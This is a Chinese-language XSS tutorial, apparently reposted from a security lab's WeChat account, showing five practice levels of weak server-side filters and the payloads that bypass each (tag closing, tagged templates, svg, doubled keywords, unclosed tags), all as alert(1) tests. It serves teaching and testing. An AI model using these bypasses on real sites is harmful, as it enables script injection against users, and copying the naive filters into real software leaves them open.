XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理。
XSS验证语句
常规验证语句:
<script>alert(1)<script>
利用src引入js脚本:
<script src="https://localhost/payload.js"></script>
关卡1
Server code1:
function render (input)
{
return '<textarea>' + input + '</textarea>'
}
概述:
既然恶意的输入是一段脚本,那就将其变为普通文本,可使用textarea标签将输入转义为纯文本
绕过姿势1:闭合标签
先闭合textarea标签,再构造xss语句
Payload:
</textarea><script>alert(1)<script>
关卡2
Server code2:
function render (input)
{
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
概述:
既然脚本里面用到函数了,那函数后面总得有括号吧,那就过滤括号
绕过姿势1:使用模版字符串
在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能
Payload:
<script>alert`1`</script>
关卡3
Server code3:
function render (input)
{
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
概述:
括号不给用,反单引号也过滤,这下子总可以了吧
绕过姿势3:使用<svg>标签
在<svg>标签中,可以直接执行实体字符,所以将xss语句中的括号或者反单引号用实体字符编号替换即可
Payload1:
<svg><script>alert(1)</script>
Payload2:
<svg><script>alert`1`</script>
关卡4
Server code4:
function render (input)
{
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
概述:
那直接把”script”这个关键字过滤了,这样就用不了<script>标签了吧
绕过姿势4:双写script
服务器代码中只过滤一遍script,那双写script,如sscriptcript,过滤了中间的script,还剩外层的script
Payload:
<sscriptcript>alert(1)</sscriptcript>
关卡5
Server code5:
function render (input)
{
const stripTagsRe = /</?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
概述:
既然恶意输入利用了标签,那<>肯定同时存在,只要检测到<>同时存在,就将其去掉
绕过姿势5:利用浏览器容错性
这里可以通过浏览器的容错性,不要最后的>,来绕过这个过滤
Payload:
<svg/onload='alert(1)'
总结
对于服务端如何防御xss,不会像上面所描述那样单一过滤掉某种标签或者符号,一般都是多种方法组合起来使用。但简而言之就是如何将用户的输入过滤掉恶意语句,和将输出转义为纯文本。
而xss绕过的方法也很多,在代码审计中,需要关注服务端过滤和转义中的逻辑漏洞,从而构造xss语句。而在实际渗透测试中,我们面对的往往是一个黑盒,无法得知服务端是如何过滤和转义我们构造的xss语句,需要一次次地构造不同的xss语句来试探服务器的过滤机制,此时更加考验了测试者灵活的思维和坚韧的耐心。
总而言之,无论是服务端的防御,还是渗透测试者的攻击方式,都需要不断地去探索和创新,才能推动技术不断地发展,提升总体技术人员的技术水平。
原文始发于微信公众号(SK安全实验室):初探XSS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论